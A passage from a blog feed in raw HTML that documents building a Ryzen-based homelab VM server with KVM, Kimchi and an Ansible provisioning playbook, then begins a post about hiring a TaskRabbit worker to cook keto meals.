 src="https://mtlynch.io/building-a-vm-homelab-2017/micro-atx.jpg" alt="Rosewill Micro ATX SRM-01" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>For the case, I was primarily looking for something very small. I plan to tuck the server out of sight, so it didn&amp;rsquo;t need to be pretty or have fancy aesthetics. The &lt;a href="https://smile.amazon.com/ROSEWILL-Micro-Computer-plastic-computer/dp/B00ZPWOA6I/">Rosewill Micro ATX SRM-01&lt;/a> is a nice, small, inexpensive, and functional.&lt;/p>
&lt;h3 id="graphics">Graphics&lt;/h3>
&lt;p>I&amp;rsquo;m mainly going to run this system headless and just manage it over SSH/Ansible, but I need a display occasionally (e.g. during initial install or when I accidentally break the network configuration). I initially &lt;em>thought&lt;/em> I could use the motherboard&amp;rsquo;s integrated graphics support, but I could not (see the &lt;a href="#review-motherboard">parts review&lt;/a> below).&lt;/p>
&lt;p>Because my requirements for the GPU were flexible, I just wanted something inexpensive and positively reviewed, so I chose the &lt;a href="https://smile.amazon.com/gp/product/B004BQKQ8A/">EVGA GeForce 8400 GS&lt;/a>.&lt;/p>
&lt;p>It didn&amp;rsquo;t make sense to buy a dedicated monitor for this system because 99.99% of the time, I&amp;rsquo;d be managing it headless. The remaining .01% of the time, I can just crawl under my desk and move my main monitor&amp;rsquo;s HDMI cable from my primary desktop to my VM server.&lt;/p>
&lt;h3 id="network-adapter">Network adapter&lt;/h3>
&lt;p>I planned to just use the motherboard&amp;rsquo;s onboard 1 Gbps NIC because I only have a 1 Gbps network. It did work out of the box with Ubuntu 16.04, but I soon noticed that my network speeds were limited to about 10 Mbps. After a bit of research, I discovered that Ubuntu 16.04 does not include the correct drivers, so I had to add a separate &lt;code>apt-get&lt;/code> repo to install the &lt;code>r8168-dkms&lt;/code> package. I did this, but on reboot, Ubuntu would fail to detect the NIC&amp;hellip;&lt;/p>
&lt;p>At this point, I was tired of tinkering with the onboard NIC and just bought a PCI NIC that I&amp;rsquo;d read was supported out of the box on Ubuntu: Broadcom BCM5751 Netxtreme. It got 1 Gbps speeds with zero tinkering, so for $23, I decided it wasn&amp;rsquo;t worth the time to keep trying to investigate the problems with the onboard NIC.&lt;/p>
&lt;p>Also of note: the onboard NIC was &lt;em>not&lt;/em> compatible with ESXi 6.5, but the Broadcom NIC &lt;em>was&lt;/em> compatible.&lt;/p>
&lt;h3 id="final-parts-list">Final parts list&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Category&lt;/th>
 &lt;th>Component&lt;/th>
 &lt;th>I paid&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>CPU&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/dp/B06WP5YCX6/">AMD Ryzen 7 1700&lt;/a>&lt;/td>
 &lt;td>$323.66&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Motherboard&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/ASRock-AB350M-HDV-Socket-MicroATX-Motherboard/dp/B06WWC7BTJ/">ASRock AB350M-HDV&lt;/a>&lt;/td>
 &lt;td>$69.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Disk&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/gp/product/B00TGIVZTW/">Samsung 850 EVO - 250GB&lt;/a>&lt;/td>
 &lt;td>$99.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Memory&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/G-SKILL-Flare-288-Pin-Memory-F4-3200C14D-16GFX/dp/B06XFT7DF9/">G.SKILL Flare X Series 32GB (2 x 16GB) F4-2400C15D-32GFXR&lt;/a>&lt;/td>
 &lt;td>$224.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Power&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/gp/product/B00H33SDR4/">EVGA 430 W1, 80+ WHITE 430W 100-W1-0430-KR&lt;/a>&lt;/td>
 &lt;td>$29.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Graphics&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/gp/product/B004BQKQ8A/">EVGA 512-P3-1300-LR GeForce 8400 GS&lt;/a>&lt;/td>
 &lt;td>$29.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Network&lt;/td>
 &lt;td>Broadcom BCM5751 Netxtreme&lt;/td>
 &lt;td>$22.95&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>Case&lt;/td>
 &lt;td>&lt;a href="https://smile.amazon.com/ROSEWILL-Micro-Computer-plastic-computer/dp/B00ZPWOA6I/">Rosewill Micro ATX SRM-01&lt;/a>&lt;/td>
 &lt;td>$21.99&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;strong>Total Cost&lt;/strong>&lt;/td>
 &lt;td>&lt;/td>
 &lt;td>&lt;strong>$823.55&lt;/strong>&lt;/td>
 &lt;/tr>
 &lt;/tbody>
&lt;/table>
&lt;h2 id="build">Build&lt;/h2>
&lt;p>With all my parts, it was time to start the build!&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts_hu_4e2c647304fc9eda.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts_hu_65918ad471d3c4fd.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts_hu_c2e4cfd9c0043a89.jpg 800w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts_hu_8800eb86c477a47.jpg 1200w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-parts.jpg" alt="Server PC parts" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>These are all the components pre-assembly. The NIC and GPU are missing from this picture because I didn&amp;rsquo;t realize I needed them until I actually tried running the system.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled_hu_1840cd4e664a7d84.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled_hu_693eb9d9fdcfa1fa.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled_hu_b71086df18219ca5.jpg 800w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled_hu_161f8ae91b105ef6.jpg 1200w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-assembled.jpg" alt="Server after assembly" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>This is the server with all the parts assembled. There&amp;rsquo;s not much to it because there aren&amp;rsquo;t many components. It was particularly nice to not have to deal with power or SATA cables for disk drives because the only disk is the M.2 SSD connected directly to the motherboard.&lt;/p>
&lt;p>Because of my apartment&amp;rsquo;s limited space, I wanted a server I could hide out of sight. I decided to place it behind my desk drawers, adjacent to my desk. It&amp;rsquo;s still as physically reachable as my main desktop, but it&amp;rsquo;s mostly out of view:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1200px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1200px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front_hu_db49e6f352f97c30.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front_hu_4887dcc78f3042d8.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front_hu_d03e831e340c2437.jpg 800w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front_hu_6c36e15b6c24ad0b.jpg 1200w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front.jpg 1200w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-front.jpg" alt="Assembled server - front view" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1600px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 1600px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above_hu_7be31468c72acd85.jpg 300w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above_hu_af808d55d5ca2dc5.jpg 600w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above_hu_9917ca2ea3b00558.jpg 800w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above_hu_82f6b1bb28bca690.jpg 1200w, https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above.jpg 1600w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/vm-server-above.jpg" alt="Assembled server - overhead view" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Completed build&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;h2 id="installing-a-host-os">Installing a host OS&lt;/h2>
&lt;p>The VM server&amp;rsquo;s host OS should be as lightweight as possible. It needs to host a hypervisor and not much else. The more software we add to the host, the more packages we need to keep up to date to have a stable server.&lt;/p>
&lt;p>I tried a few different Linux distros, but Ubuntu server was the only one that worked out of the box on my hardware (successfully tested both 16.04 and 17.04) . I think &lt;a href="https://www.phoronix.com/scan.php?page=news_item&amp;amp;px=AMD-Ryzen-Newer-Kernel">Ryzen&amp;rsquo;s SMT functionality&lt;/a> is what causes the installations to fail on other distros. I suspect I could work around this by disabling SMT in the BIOS, installing another distro, then upgrading the kernel to &amp;gt;= 4.10, then re-enabling SMT, but I decided to just stick with &lt;strong>Ubuntu 16.04 server&lt;/strong> since it&amp;rsquo;s the distro I&amp;rsquo;m most familiar with anyway.&lt;/p>
&lt;h2 id="running-virtual-machines">Running virtual machines&lt;/h2>
&lt;h3 id="kvm">KVM&lt;/h3>
&lt;p>For the hypervisor, I used &lt;a href="https://www.linux-kvm.org/page/Main_Page">KVM&lt;/a>. It&amp;rsquo;s a fairly mature product with wide usage, which is useful if I run into situations where I need to Google support answers. Some of the more enterprise-focused hypervisors require a license key (even when the software is free), but KVM doesn&amp;rsquo;t have this problem, as it&amp;rsquo;s free and open source.&lt;/p>
&lt;h3 id="kimchi">Kimchi&lt;/h3>
&lt;p>I enjoy being able to manage my infrastructure through a web UI, so I installed &lt;a href="https://github.com/kimchi-project/kimchi">Kimchi&lt;/a>, KVM&amp;rsquo;s management UI implemented with HTML5.&lt;/p>
&lt;p>I&amp;rsquo;d describe Kimchi as &amp;ldquo;okay.&amp;rdquo; Some of the dashboards are pretty slick:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 






&lt;div class="img" style="max-width: 744px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/kimchi-host-utilization.png">
 &lt;img
 
 sizes="(min-width: 768px) 744px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/kimchi-host-utilization_hu_6e22c1a75a3938e1.png 300w, https://mtlynch.io/building-a-vm-homelab-2017/kimchi-host-utilization_hu_ac7500b49eb88f6c.png 600w, https://mtlynch.io/building-a-vm-homelab-2017/kimchi-host-utilization.png 744w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/kimchi-host-utilization.png" alt="Kimchi host utilization dashboard" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 





&lt;div class="img" style="max-width: 1092px">



 &lt;a href="https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests.png">
 &lt;img
 
 sizes="(min-width: 768px) 1092px, 98vw"
 srcset='https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests_hu_b9b866320d7bcdc5.png 300w, https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests_hu_8694d88cffc07741.png 600w, https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests_hu_5b981ad7efe14f02.png 800w, https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests.png 1092w'
 src="https://mtlynch.io/building-a-vm-homelab-2017/kimchi-guests.png" alt="Kimchi guest view" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Kimchi web UI screenshots&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>It also does certain things really well, like creating a bridged network adapter (which is kind of a pain to figure out on the command line).&lt;/p>
&lt;p>The weaknesses are mainly in the UX. It requires a lot of clicks to do simple things and I frequently run into situation where the page will update (e.g. a guest VM finishes turning off), which causes context menus to disappear and forces the user to start the flow over. The weaknesses aren&amp;rsquo;t too bad, and as I used it more, it became easier to adjust my behavior to avoid these UX bugs.&lt;/p>
&lt;h3 id="also-ran-esxi-65">Also ran: ESXi 6.5&lt;/h3>
&lt;p>I actually went into this project planning to use &lt;a href="https://www.vmware.com/products/vsphere-hypervisor.html">VMware vSphere Hypervisor&lt;/a>, VMware&amp;rsquo;s free hypervisor offering. It seemed like a much more mature product with a larger user base (so presumably easier to find support). However, it ended up being incompatible with both my motherboard&amp;rsquo;s NIC and the Ryzen CPU. I was finally able to run it after I installed the Broadcom NIC and disabled my CPU&amp;rsquo;s SMT in BIOS, but by that point, I&amp;rsquo;d been using Kimchi for a few days and gotten used to it.&lt;/p>
&lt;p>vSphere didn&amp;rsquo;t seem to offer a significantly better experience than Kimchi. The UI is much more polished, but it also had very klunky flows where one mistake would force you to completely restart a whole multi-stage process from scratch. It also wasn&amp;rsquo;t obvious how to access the shell to just do what I want on the command-line (I&amp;rsquo;m sure it&amp;rsquo;s possible, but I didn&amp;rsquo;t investigate long enough for the answer).&lt;/p>
&lt;p>The dealbreaker for me was that on login, vSphere prominently displayed a warning saying that the software would stop working in 60 days unless I entered a VMware registration key. VMware provides a license key for free, but I didn&amp;rsquo;t want to bother with registration keys when Kimchi isn&amp;rsquo;t tied to any kind of licensing checks and provides an experience that&amp;rsquo;s about equal to vSphere.&lt;/p>
&lt;h2 id="automating-server-provisioning">Automating server provisioning&lt;/h2>
&lt;p>I&amp;rsquo;m a big fan of Ansible, so I wrote an &lt;a href="provision-vm-host.yml">Ansible playbook&lt;/a> to automatically provision my VM server. It does the following:&lt;/p>
&lt;ul>
&lt;li>Updates the kernel to a version compatible with Ryzen&amp;rsquo;s SMT functionality&lt;/li>
&lt;li>Installs KVM and Kimchi&lt;/li>
&lt;li>Mounts an NFS share for storing VM images&lt;/li>
&lt;/ul>
&lt;p>You can use the same playbook to provision your server by &lt;a href="https://docs.ansible.com/ansible/latest/installation_guide/index.html">installing Ansible&lt;/a> and running the commands below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#40ffff">VM_SERVER&lt;/span>=vmaster &lt;span style="color:#999;font-style:italic"># Replace with your VM server&amp;#39;s hostname&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#24909d">echo&lt;/span> &lt;span style="color:#ed9d13">&amp;#34;&lt;/span>&lt;span style="color:#ed9d13">${&lt;/span>&lt;span style="color:#40ffff">VM_SERVER&lt;/span>&lt;span style="color:#ed9d13">}&lt;/span>&lt;span style="color:#ed9d13">&amp;#34;&lt;/span> &amp;gt; hosts
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>wget /files/provision-vm-host.yml
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#999;font-style:italic"># Replace the extra-vars with the values for your NFS share&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>ansible-playbook provision-vm-host.yml &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;cifs_share=/nas-hostname/VMs&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;cifs_username=foo&amp;#34;&lt;/span> &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> --extra-vars &lt;span style="color:#ed9d13">&amp;#34;cifs_password=bar&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h2 id="reviewing-my-choices">Reviewing my choices&lt;/h2>
&lt;h3 id="review-cpu">Review: CPU&lt;/h3>
&lt;p>My most questionable choice is the CPU. It does run very fast, but it may have also been overkill, as I haven&amp;rsquo;t seen total CPU usage rise above 35%, even when I&amp;rsquo;ve got five VMs running with CPU-intensive jobs running on several of them.&lt;/p>
&lt;p>The downside to the Ryzen is that it&amp;rsquo;s very bleeding edge right now and compatibility is shaky. I tried installing Fedora 25 server, Debian 8.7, Centos 7, and ESXi 6.5 and they all died during the installation because they weren&amp;rsquo;t compatible with the Ryzen. I was able to install some of these successfully if I disabled SMT (multithreading) for the CPU in BIOS, but that reduces it to an from a 16-core to an 8-core CPU, which felt sad. The only OS that installed successfully was Ubuntu (successfully installed both 16.04 and 17.04).&lt;/p>
&lt;p>The Ryzen also limited what RAM sticks I could buy. The motherboard supports DDR4 RAM up to 3200 MHz, but Corsair has no memory &lt;a href="https://www.corsair.com/us/en/c/memory">tested compatible&lt;/a> with it. &lt;a href="https://www.gskill.com/en/configurator?manu=52&amp;amp;chip=2952&amp;amp;model=2990">G.SKILL does&lt;/a>, but nothing faster than DDR4 2400 MHz.&lt;/p>
&lt;h3 id="review-motherboard">Review: Motherboard&lt;/h3>
&lt;p>I&amp;rsquo;m &lt;em>mostly&lt;/em> happy with my motherboard choice. It&amp;rsquo;s nice and compact without sacrificing adequate space for all the components.&lt;/p>
&lt;p>My one regret is that I didn&amp;rsquo;t read the onboard video support carefully enough. Its specs under &amp;ldquo;Onboard Video Chipset&amp;rdquo; read:&lt;/p>
&lt;blockquote>
&lt;p>Integrated AMD Radeon R7/R5 Series Graphics in A-series APU
Supports HDMI with max. resolution up to 4K x 2K (4096x2160) @ 24Hz / (3840x2160) @ 30Hz&lt;/p>&lt;/blockquote>
&lt;p>So I thought, &amp;ldquo;Great! It&amp;rsquo;s got its own graphics card. One less thing to install.&amp;rdquo; What I didn&amp;rsquo;t understand was that this meant, &amp;ldquo;Supports graphics &lt;em>only if&lt;/em> you have an AMD A-Series APU.&amp;rdquo; APUs are AMD&amp;rsquo;s combined CPU/GPU chips, and the Ryzen is not one of them, so no onboard graphics for me.&lt;/p>
&lt;p>If I did this again, I&amp;rsquo;d go with the &lt;a href="https://smile.amazon.com/GIGABYTE-GA-AB350-Gaming-Fusion-HDMI1-4-Motherboard/dp/B06VWHXK94/">GIGABYTE GA-AB350M-Gaming 3&lt;/a> just for the simplicity of having an onboard GPU.&lt;/p>
&lt;h3 id="review-ram">Review: RAM&lt;/h3>
&lt;p>32 GB seemed overkill at first, but as I add more VMs for various tasks, I&amp;rsquo;m reaching &amp;gt; 18 GB RAM usage, so I&amp;rsquo;m glad I went with 32 GB instead of 16 GB.&lt;/p>
&lt;h3 id="review-power-supply">Review: Power Supply&lt;/h3>
&lt;p>The power supply has sufficient wattage for the system, and it&amp;rsquo;s pretty quiet. It&amp;rsquo;s also a good value for $30.&lt;/p>
&lt;p>The one downside is that it uses non-modular cabling. My system is so bare bones that I only need the 24-pin motherboard cable and 8-pin CPU cable. All the rest are clutter, but they hide away pretty cleanly in my case&amp;rsquo;s 5.25&amp;quot; bay for an optical disc reader (obviously empty in my case).&lt;/p>
&lt;p>If I were to do it over, I&amp;rsquo;d consider a semi-modular or full-modular PSU so I could get rid of the extraneous PSU cables.&lt;/p>
&lt;h2 id="conclusion">Conclusion&lt;/h2>
&lt;p>This homelab VM server is working very well. It&amp;rsquo;s very convenient to be able to know that my VMs are running all the time, so I can just SSH in or view them in the browser without having to spin anything up in VirtualBox.&lt;/p>
&lt;p>One unexpected benefit is that I no longer have to be conservative about provisioning CPU/RAM resources to guest OSes. My main desktop is an 8-core i7 with 32 GB of RAM. I didn&amp;rsquo;t want my VMs to starve my main OS for resources, so I&amp;rsquo;d typically provision guest OSes with 1 CPU + 1 GB RAM and only increase when I saw it hitting resource constraints. With the homelab VM server, there are enough resources for everyone! My standard guest OS template uses 4 cores and 4 GB CPU, a sufficient upper limit for most of my environments. This means that I waste less of my time managing guest OS resources manually.&lt;/p>
&lt;p>If you work on software projects that require a variety of development or staging environments, I highly recommend working in VMs and using a dedicated VM server machine.&lt;/p></content:encoded></item><item><title>Adventures in Outsourcing: Cooking with TaskRabbit</title><link>https://mtlynch.io/taskrabbit-cooking/</link><pubDate>Wed, 11 Jan 2017 00:00:00 +0000</pubDate><guid>https://mtlynch.io/taskrabbit-cooking/</guid><description>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>For the past few years, I&amp;rsquo;ve been outsourcing tasks from my daily life whenever possible. I tend to be more limited in time than money, so if paying $30 can save me an hour, I consider that a good deal.&lt;/p>
&lt;p>I recently started experimenting with &lt;a href="https://www.dietdoctor.com/low-carb/keto">the keto diet&lt;/a>, which focuses on low carbs. I&amp;rsquo;ve had good experience with the diet, but it limits what food delivery I can order, as BBQ, deli sandwiches, pizza, etc. do not fit the diet.&lt;/p></description><content:encoded>&lt;h2 id="overview">Overview&lt;/h2>
&lt;p>For the past few years, I&amp;rsquo;ve been outsourcing tasks from my daily life whenever possible. I tend to be more limited in time than money, so if paying $30 can save me an hour, I consider that a good deal.&lt;/p>
&lt;p>I recently started experimenting with &lt;a href="https://www.dietdoctor.com/low-carb/keto">the keto diet&lt;/a>, which focuses on low carbs. I&amp;rsquo;ve had good experience with the diet, but it limits what food delivery I can order, as BBQ, deli sandwiches, pizza, etc. do not fit the diet.&lt;/p>
&lt;p>Fortunately, there are many sites that offer free keto recipes. My favorite is &lt;a href="http://ruled.me">ruled.me&lt;/a>, but I also use a recipe curation newletter to find new sources. The recipes look great online, but the road from online recipes to actual meals is paved with cooking. And I don&amp;rsquo;t like cooking.&lt;/p>
&lt;p>I thought this would be a good opportunity to experiment with outsourcing — I choose the recipes and hire someone else to handle the rest.&lt;/p>
&lt;h2 id="enter-taskrabbit">Enter TaskRabbit&lt;/h2>
&lt;p>&lt;a href="https://www.taskrabbit.com">TaskRabbit&lt;/a> is a service that allows you to hire people for small tasks. They specialize in handyman type tasks, like home repair or furniture assembly, but the range of possible tasks is pretty broad. You can hire someone to stand in line for you, run your errands, or &lt;a href="http://abcnews.go.com/Lifestyle/woman-hires-impersonator-attend-friends-birthday-party/story?id=29277677">attend birthday parties on your behalf&lt;/a>.&lt;/p>




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 1333px">



 &lt;a href="https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage.png">
 &lt;img
 
 sizes="(min-width: 768px) 1333px, 98vw"
 srcset='https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage_hu_3951ac1efbcff9ca.png 300w, https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage_hu_2d6f1efb257e0377.png 600w, https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage_hu_56c4daecd7f8c492.png 800w, https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage_hu_61d4395bc247d0d0.png 1200w, https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage.png 1333w'
 src="https://mtlynch.io/taskrabbit-cooking/taskrabbit-homepage.png" alt="TaskRabbit homepage" loading="lazy"/>
 &lt;/a>



&lt;/div>


&lt;p>I&amp;rsquo;ve used TaskRabbit to find apartment cleaners and a handyman to wall-mount my TV. These were generally positive experiences, so TaskRabbit seemed like a good fit for outsourcing my home cooking.&lt;/p>
&lt;h2 id="finding-a-taskrabbit-to-do-it-all">Finding a TaskRabbit to do it all&lt;/h2>
&lt;p>Since I was approaching this as a way to save time, I figured the way to save the &lt;em>most&lt;/em> time would be if the TaskRabbit not only did the cooking, but the shopping as well. Shopping is a common task on TaskRabbit, and the workers can invoice clients for reimbursement.&lt;/p>
&lt;p>My trial recipes were &lt;a href="https://www.ruled.me/bacon-wrapped-stuffed-pork-tenderloin/">Bacon Wrapped Stuffed Pork Tenderloin&lt;/a> and &lt;a href="https://www.ruled.me/neapolitan-fat-bombs/">Neapolitan Fat Bombs&lt;/a>. I didn&amp;rsquo;t have many of the ingredients on hand, so it seemed like it would be simple to just say, &amp;ldquo;buy everything except for salt, olive oil, and pepper.&amp;rdquo;&lt;/p>
&lt;h2 id="not-so-much">Not so much&amp;hellip;&lt;/h2>
&lt;p>The first person I reached out to charged $29/hr for cooking and had 100% positive reviews, including two cooking tasks. I offered her the job, and she promptly declined. This was strange. I&amp;rsquo;d never had a TaskRabbit reject a job before.&lt;/p>
&lt;p>I found another that charged $22/hr with 86% positive reviews. She messaged me to say she&amp;rsquo;d do the cooking but wasn&amp;rsquo;t willing to do any shopping. Determined to find someone to handle everything, I thanked her and continued looking.&lt;/p>
&lt;p>Finally, I found a third qualified canddiate, who enthusiastically&amp;hellip; declined.&lt;/p>
&lt;h2 id="simplifying-the-job">Simplifying the job&lt;/h2>
&lt;p>I had to simplify things.&lt;/p>
&lt;p>The TaskRabbit workers seemed to dislike the idea of the combined shopping and cooking job. I eliminated the shopping aspect and reduced the job to strictly cooking.&lt;/p>
&lt;p>My new problem was that TaskRabbit doesn&amp;rsquo;t allow you to re-offer the job to people who have already turned it down, so I had inadvertently eliminated my top three candidates.&lt;/p>
&lt;h2 id="finally-finding-a-match">Finally finding a match&lt;/h2>
&lt;p>The best remaining option was a young woman named Leah. She charged $26/hr with a 73% rating, which is a worryingly low score by TaskRabbit standards. She only had one cooking review, which was a thumbs-down with no explanation from the reviewer.&lt;/p>
&lt;p>Leah seemed like a risky bet, but I had an ace up my sleeve: I don&amp;rsquo;t care that much about food. Or rather, I don&amp;rsquo;t have very discriminating taste in food. My standards for a satisfying meal are probably much more lenient than those of the majority of people that would hire and review a TaskRabbit chef.&lt;/p>
&lt;p>I offered Leah the job, and she accepted. Within a few minutes, we had scheduled an appointment for two days later.&lt;/p>
&lt;h3 id="the-first-meal">The first meal&lt;/h3>
&lt;p>Leah showed up right on time the evening she was scheduled. I showed her my kitchen, handed her the printed recipes, and she was off to work.&lt;/p>
&lt;p>The process went very smoothly. She cooked for a little over two hours. I took advantage of the extra free time she afforded me and worked on &lt;a href="https://mtlynch.io/prosperbot/">my current software project&lt;/a>. It&amp;rsquo;s awkward having a stranger in my house , but the kitchen is isolated enough from the rest of the apartment that we both had a decent amount of privacy. At times, I forgot she was there.&lt;/p>
&lt;p>When she was done, she told me I could take the pork tenderloin out of the oven in ten minutes, the pepper and broccoli were finished on the stove, and that the neapolitan fat bombs were in the freezer. She had wiped down my countertops and cleaned my dishes. When the tenderloin was ready, I took it out and was delighted. It looked great and tasted fantastic.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 




















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4000px">



 &lt;a href="https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108.webp">
 &lt;img
 
 sizes="(min-width: 768px) 4000px, 98vw"
 srcset='https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108_hu_c8d20f74c9787882.webp 300w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108_hu_4d9b0d5f3457ea00.webp 600w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108_hu_aa3fa2a9b048d99f.webp 800w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108_hu_37d7b299e2dd7188.webp 1200w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108.webp 4000w'
 src="https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212108.webp" alt="Finished pork tenderloin and side" loading="lazy"/>
 &lt;/a>



&lt;/div>






















 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 4000px">



 &lt;a href="https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144.webp">
 &lt;img
 
 sizes="(min-width: 768px) 4000px, 98vw"
 srcset='https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144_hu_f3b9161d0128261f.webp 300w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144_hu_774506cdcd461de5.webp 600w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144_hu_8b35e076b7363cc2.webp 800w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144_hu_a357ad145c14733d.webp 1200w, https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144.webp 4000w'
 src="https://mtlynch.io/taskrabbit-cooking/IMG_20161115_212144.webp" alt="Finished pork tenderloin on baking sheet" loading="lazy"/>
 &lt;/a>



&lt;/div>
